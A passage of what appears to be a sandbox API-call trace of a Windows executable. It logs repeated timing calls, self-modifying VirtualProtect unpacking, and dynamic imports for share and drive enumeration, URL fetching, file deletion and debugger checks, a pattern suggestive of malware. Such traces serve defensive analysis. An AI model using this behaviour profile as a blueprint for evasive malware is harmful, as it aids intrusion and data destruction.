xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x41\xf9\x1d\xa4\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0091.690] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0x8, Size=0x800) returned 0x3c11f8 [0091.691] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0091.691] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x467634) returned 0x0 [0091.691] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3c2ba0) returned 0x80 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.691] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.692] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.693] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.694] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.695] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.696] GetTickCount () returned 0x4597 [0091.988] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x76980000 [0091.989] VirtualProtect (in: lpAddress=0x6b8958, dwSize=0x34b99, flNewProtect=0x40, lpflOldProtect=0x18d660 | out: lpflOldProtect=0x18d660*=0x4) returned 1 [0092.010] GetProcAddress (hModule=0x76980000, lpProcName="LoadLibraryA") returned 0x769949d7 [0092.010] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76980000 [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="VirtualAlloc") returned 0x76991856 [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="VirtualProtect") returned 0x7699435f [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="VirtualFree") returned 0x7699186e [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="GetVersionExA") returned 0x76993519 [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="TerminateProcess") returned 0x769ad802 [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="ExitProcess") returned 0x76997a10 [0092.011] GetProcAddress (hModule=0x76980000, lpProcName="SetErrorMode") returned 0x76991b00 [0092.011] SetErrorMode (uMode=0x400) returned 0x0 [0092.011] SetErrorMode (uMode=0x0) returned 0x400 [0092.011] GetVersionExA (in: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x1, dwPlatformId=0xffffffff, szCSDVersion="s}\x1fw") | out: lpVersionInformation=0x18c5bc*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0092.011] VirtualAlloc (lpAddress=0x0, dwSize=0x5ec00, flAllocationType=0x1000, flProtect=0x4) returned 0x240000 [0092.019] VirtualProtect (in: lpAddress=0x400000, dwSize=0x7a000, flNewProtect=0x40, lpflOldProtect=0x18d644 | out: lpflOldProtect=0x18d644*=0x2) returned 1 [0092.225] VirtualFree (lpAddress=0x240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0092.227] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x759b0000 [0092.255] GetProcAddress (hModule=0x759b0000, lpProcName="RpcStringFreeW") returned 0x759d1635 [0092.255] GetProcAddress (hModule=0x759b0000, lpProcName="UuidToStringW") returned 0x759f1ee5 [0092.255] GetProcAddress (hModule=0x759b0000, lpProcName="UuidToStringA") returned 0x75a2d918 [0092.255] GetProcAddress (hModule=0x759b0000, lpProcName="RpcStringFreeA") returned 0x759f3fc5 [0092.255] GetProcAddress (hModule=0x759b0000, lpProcName="UuidCreate") returned 0x759cf48b [0092.255] LoadLibraryA (lpLibFileName="MPR.dll") returned 0x73080000 [0093.611] GetProcAddress (hModule=0x73080000, lpProcName="WNetCloseEnum") returned 0x73082dd6 [0093.611] GetProcAddress (hModule=0x73080000, lpProcName="WNetOpenEnumW") returned 0x73082f06 [0093.612] GetProcAddress (hModule=0x73080000, lpProcName="WNetEnumResourceW") returned 0x73083058 [0093.612] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x75820000 [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetCloseHandle") returned 0x7583ab49 [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetOpenUrlW") returned 0x7589be5c [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetReadFile") returned 0x7583b406 [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetOpenUrlA") returned 0x758630f1 [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="HttpQueryInfoW") returned 0x75845c75 [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetOpenA") returned 0x7584f18e [0093.623] GetProcAddress (hModule=0x75820000, lpProcName="InternetOpenW") returned 0x75849197 [0093.623] LoadLibraryA (lpLibFileName="WINMM.dll") returned 0x74cc0000 [0094.201] GetProcAddress (hModule=0x74cc0000, lpProcName="timeGetTime") returned 0x74cc26e0 [0094.201] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x76750000 [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathFindExtensionW") returned 0x7676a1b9 [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathFindFileNameW") returned 0x7676bb71 [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathRemoveFileSpecW") returned 0x76763248 [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathFileExistsW") returned 0x767645bf [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathAppendW") returned 0x767681ef [0094.201] GetProcAddress (hModule=0x76750000, lpProcName="PathAppendA") returned 0x7675d65e [0094.202] GetProcAddress (hModule=0x76750000, lpProcName="PathFileExistsA") returned 0x7678ad1a [0094.202] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76980000 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="GetTickCount") returned 0x7699110c [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="TlsFree") returned 0x76993587 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="GetCommandLineW") returned 0x76995223 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateFileA") returned 0x769953c6 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="FindFirstFileW") returned 0x76994435 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="SetFilePointer") returned 0x769917d1 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="lstrlenA") returned 0x76995a4b [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="SetErrorMode") returned 0x76991b00 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="FreeLibrary") returned 0x769934c8 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateProcessW") returned 0x7699103d [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="SetFilePointerEx") returned 0x769ac807 [0094.202] GetProcAddress (hModule=0x76980000, lpProcName="CreateDirectoryW") returned 0x76994259 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="WaitForSingleObject") returned 0x76991136 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="GetLogicalDrives") returned 0x76995371 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="VirtualFree") returned 0x7699186e [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="WriteFile") returned 0x76991282 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="GetDriveTypeA") returned 0x769aef75 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="OpenProcess") returned 0x76991986 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="GlobalAlloc") returned 0x7699588e [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="GetSystemDirectoryW") returned 0x76995063 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="WideCharToMultiByte") returned 0x7699170d [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="LoadLibraryW") returned 0x7699492b [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="Sleep") returned 0x769910ff [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="CopyFileW") returned 0x769b830d [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="FormatMessageW") returned 0x76994620 [0094.203] GetProcAddress (hModule=0x76980000, lpProcName="lstrcpynW") returned 0x769bd556 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="CreateProcessA") returned 0x76991072 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="TerminateProcess") returned 0x769ad802 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="ReadFile") returned 0x76993ed3 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="CreateFileW") returned 0x76993f5c [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="lstrcatA") returned 0x769b2b7a [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="GetEnvironmentVariableA") returned 0x769933a0 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="lstrcmpW") returned 0x76995929 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="MultiByteToWideChar") returned 0x7699192e [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="lstrlenW") returned 0x76991700 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="FlushFileBuffers") returned 0x7699469b [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="GetShortPathNameA") returned 0x769b594d [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="GetFileSizeEx") returned 0x769959e2 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="GetLastError") returned 0x769911c0 [0094.204] GetProcAddress (hModule=0x76980000, lpProcName="SetLastError") returned 0x769911a9 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="GetProcAddress") returned 0x76991222 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="VirtualAlloc") returned 0x76991856 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="MoveFileW") returned 0x769a9af0 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="FindClose") returned 0x76994442 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="Process32FirstW") returned 0x769b8baf [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="LocalAlloc") returned 0x7699168c [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="CreateEventW") returned 0x7699183e [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="GetModuleFileNameA") returned 0x769914b1 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="Process32NextW") returned 0x769b896c [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="lstrcatW") returned 0x769b828e [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="CreateMutexA") returned 0x76994c6b [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="FatalAppExitA") returned 0x76a14691 [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="CreateToolhelp32Snapshot") returned 0x769b735f [0094.205] GetProcAddress (hModule=0x76980000, lpProcName="CloseHandle") returned 0x76991410 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="DeleteFileW") returned 0x769989b3 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="LocalFree") returned 0x76992d3c [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="lstrcpyW") returned 0x769b3102 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="DeleteFileA") returned 0x76995444 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="lstrcpyA") returned 0x769b2a9d [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="SetPriorityClass") returned 0x769acf28 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GetModuleHandleW") returned 0x769934b0 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GetComputerNameW") returned 0x7699dd0e [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GetExitCodeProcess") returned 0x769a174d [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GetModuleFileNameW") returned 0x76994950 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GlobalFree") returned 0x76995558 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="GetVersion") returned 0x76994467 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="CreateDirectoryA") returned 0x769bd526 [0094.206] GetProcAddress (hModule=0x76980000, lpProcName="CreateThread") returned 0x769934d5 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="TlsSetValue") returned 0x769914fb [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="TlsGetValue") returned 0x769911e0 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="TlsAlloc") returned 0x769949ad [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76991916 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="SetUnhandledExceptionFilter") returned 0x769987c9 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="UnhandledExceptionFilter") returned 0x769b772f [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="FreeEnvironmentStringsW") returned 0x769951cb [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="GetEnvironmentStringsW") returned 0x769951e3 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentProcessId") returned 0x769911f8 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="QueryPerformanceCounter") returned 0x76991725 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="GetStartupInfoW") returned 0x76994d40 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="DeleteCriticalSection") returned 0x771f45f5 [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="GetTimeZoneInformation") returned 0x7699465a [0094.207] GetProcAddress (hModule=0x76980000, lpProcName="RaiseException") returned 0x769958a6 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetStringTypeW") returned 0x76991946 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="HeapSize") returned 0x771f3002 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="LoadLibraryExW") returned 0x7699495d [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="HeapAlloc") returned 0x771ee026 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetLocaleInfoW") returned 0x76993c42 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="IsValidLocale") returned 0x769ace46 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetUserDefaultLCID") returned 0x76993da5 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="EnumSystemLocalesW") returned 0x76a1425f [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetDateFormatW") returned 0x769b34d7 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetTimeFormatW") returned 0x769af481 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="CompareStringW") returned 0x76993bca [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="LCMapStringW") returned 0x769917b9 [0094.208] GetProcAddress (hModule=0x76980000, lpProcName="GetConsoleCP") returned 0x76a37bff [0094.381] GetProcAddress (hModule=0x76980000, lpProcName="GetConsoleMode") returned 0x76991328 [0094.381] GetProcAddress (hModule=0x76980000, lpProcName="HeapReAlloc") returned 0x77201f6e [0094.381] GetProcAddress (hModule=0x76980000, lpProcName="SetStdHandle") returned 0x76a1454f [0094.381] GetProcAddress (hModule=0x76980000, lpProcName="SetEndOfFile") returned 0x769ace2e [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="GetStdHandle") returned 0x769951b3 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="GetFileType") returned 0x76993531 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="GetModuleHandleExW") returned 0x76994a6f [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="WriteConsoleW") returned 0x769b7aca [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="ReadConsoleW") returned 0x76a3739a [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="OutputDebugStringW") returned 0x769bd1d4 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="SetConsoleCtrlHandler") returned 0x76998a09 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="RtlUnwind") returned 0x769bd1c3 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="LeaveCriticalSection") returned 0x771e2270 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="EnterCriticalSection") returned 0x771e22b0 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="AreFileApisANSI") returned 0x76a140d1 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="ExitProcess") returned 0x76997a10 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="GetProcessHeap") returned 0x769914e9 [0094.382] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentThreadId") returned 0x76991450 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentThread") returned 0x769917ec [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetCPInfo") returned 0x76995189 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="HeapFree") returned 0x769914c9 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="SetEnvironmentVariableA") returned 0x7699e331 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="EncodePointer") returned 0x77200fcb [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="DecodePointer") returned 0x771f9d35 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetSystemTimeAsFileTime") returned 0x76993509 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetCurrentProcess") returned 0x76991809 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="CreateSemaphoreW") returned 0x769aca5a [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetOEMCP") returned 0x769bd1a1 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="GetACP") returned 0x7699179c [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="IsValidCodePage") returned 0x76994493 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="IsProcessorFeaturePresent") returned 0x76995235 [0094.383] GetProcAddress (hModule=0x76980000, lpProcName="FindNextFileW") returned 0x769954ee [0094.384] GetProcAddress (hModule=0x76980000, lpProcName="IsDebuggerPresent") returned 0x76994a5d [0094.384] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x75360000 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="LoadCursorW") returned 0x753788f7 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="TranslateMessage") returned 0x75377809 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="RegisterClassExW") returned 0x7537b17d [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="ShowWindow") returned 0x75380dfb [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="IsWindow") returned 0x75377136 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="CreateWindowExW") returned 0x75378a29 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="UpdateWindow") returned 0x75383559 [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="DefWindowProcW") returned 0x771f25dd [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="PeekMessageW") returned 0x753805ba [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="PostThreadMessageW") returned 0x75378bff [0094.384] GetProcAddress (hModule=0x75360000, lpProcName="MessageBoxW") returned 0x753cfd3f [0094.384] GetProcAddress (hModule=0x75360000, 